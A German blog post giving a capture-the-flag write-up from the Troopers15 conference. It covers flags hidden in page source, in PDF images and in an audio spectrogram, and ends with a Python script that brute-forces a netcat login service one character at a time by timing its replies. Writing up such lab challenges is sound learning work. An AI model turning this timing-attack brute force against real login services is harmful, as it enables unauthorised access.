Ich war vom 16. bis 20. März auf der Troopers15 Conference. Neben spannenden Vorträgen gab es auch ein CTF, bei dem jeder Besucher mitmachen konnte. Die CTF Seite war nur im lokalen Netzwerk verfügbar, daher kann ich leider nicht mehr auf die Seiten zugreifen. Natürlich konnte ich es nicht lassen und hab mich an der ein oder anderen Challenge versucht:
Chall #1: In a Galaxy Far Far Away
Diese Challenge war einfach. Man sollte den Source Code aufrufen, jedoch wurde der Rechtsklick über JavaScript blockiert. Also JavaScript ausschalten und in dem Source Code nach der Flag suchen. Nach kürzester Zeit habe ich die folgende Zeile Code gefunden
<!--4827-8732-5640-4282-0000-->
Chall #4: Infiltrator
Bei dieser Challenge ging es um eine PDF-Datei. Die Aufgabe stand in dem Dokument:
Seite 1 | Seite 2 |
Durch Zufall hab ich gesehen, dass hinter dem Namen „Zulu“ ein Link versteckt ist. Dieser führt zu der Seite http://pwn.troopers.de/zulu (nur im internen Netz verfügbar gewesen ;)). Über den Unix-Befehl „strings leaked.pdf | grep http“ bekommt man noch einmal die Zeile mit der URL:
Leider ist die Seite mit .htaccess geschützt. Also fehlt mir noch der Login. Was mir auch an der PDF Datei aufgefallen ist, dass der Text gar kein Text war, sondern aus Bilder besteht. Man konnte den Text zum einen nicht markieren und wenn man den Text per Drag & Drop auf dem Desktop gepackt hat, wurde eine Bild-Datei erzeugt. Zum Glück gibt es ein Tool das sich „pdfimages“ nennt. Dieses extrahiert sämtliche Bilder aus der PDF Datei. Gleich das erste extrahierte Bild viel auf:
Ich versuchte mich mit den Benutzerinformationen auf der „zulu“-Seite anzumelden und schon hatte ich die nächste Flag:
9984-1337-8942-2633-9291
Chall #9: Who you gonna call?
Bei dieser Aufgabe habe ich noch ein Foto aus dem Browser Cache bekommen. Dann bekommt ihr einen Eindruch wie das ungefähr aussah:
Nach einer kleinen Internetrecherche habe ich herausgefunden, dass es sehr beliebt ist Informationen innerhalb des Spektrogramm zu verstecken. Ein gutes Tool für diesen Fall ist „Sound eXchange“ (sox). Das ist quasi das Schweizer Taschenmesser für Sound Manipulationen. Die Benutzung ist eigentlich relativ simpel, wenn man weiß wie es geht. Das Programm bietet verschiedene Effekte an, welche ausgewählt werden können. Die richtigen Parameter für den Effekt kann man mit „sox –help-effect [EFFECT]“ anzeigen lassen. So konnte ich mit dem folgenden Befehl ein Spektrogramm erstellen:
sox strangecall.wav -d spectrogram -r -o spectro.png
Wer nun nicht genau hinschaut, übersieht das unter dem Text „TROOPERS 2015 HEIDELBERG“ verschwommen der Code zu lesen ist ;)
Damit hätten wir die nächste Flag:
2726-5633-3248-6935-9353
Chall #10: A Matter of Time
Auch hier habe ich noch die Original Seite aus dem Browser Cache bekommen
Wenn man sich mit der IP über Netcat Verbunden hat, dann hatte man drei Befehle über die Shell: help, login & time [Timezone]
Bei der Challenge habe ich mich an eine vergangene hack.lu Challenge erinnert. Diese war anfällig gegen Timing Attacks. Genau das gleiche war auch bei dieser Challenge der Fall. Wenn man einmal den richtigen Charakter eingegeben hat, hat das System mit einer Verzögerung von 1-2 Sekunden geantwortet. Dafür habe ich dann ein kleines Python-Skript geschrieben, welches nur einen Character testet. Anschließend habe ich das Skript um den Buchstaben erweitert, der der richtige war. Ich hätte das Skript natürlich auch noch mehr automatisieren können, aber ich habe die Challenge nebenbei gemacht und eher einem Vortrag zugehört.
#!/usr/bin/env python import sys import socket TCP_IP = '172.20.12.13' TCP_PORT = 2002 BUFFER_SIZE = 1024 timemsg = 'time Antarctica/Troll' loginmsg = 'login '#Hier die richtigen Buchstaben hinzufügen string_brute = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!?#+-=){[]}_(/&%$\.,;:<>)" x=0 while x < 85: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(' ') data = s.recv(BUFFER_SIZE) s.send(timemsg) data = s.recv(BUFFER_SIZE) print data logger = loginmsg + string_brute[x] print logger s.send(logger) data = s.recv(BUFFER_SIZE) print data s.send(timemsg) data = s.recv(BUFFER_SIZE) print data s.close() x=x+1
Am Ende angekommen, hatte ich dann die Lösung:
Ich hätte bestimmt noch die ein oder andere Challenge lösen können. Leider war dafür nicht genügend Zeit am Ende, wie es so häufig bei einem CTF ist. Das lokale CTF war super! Ich hoffe ich werde noch wo anders Write-Ups finden, sodass ich etwas von den nicht gelösten Aufgaben lerne :)
Greetz TheVamp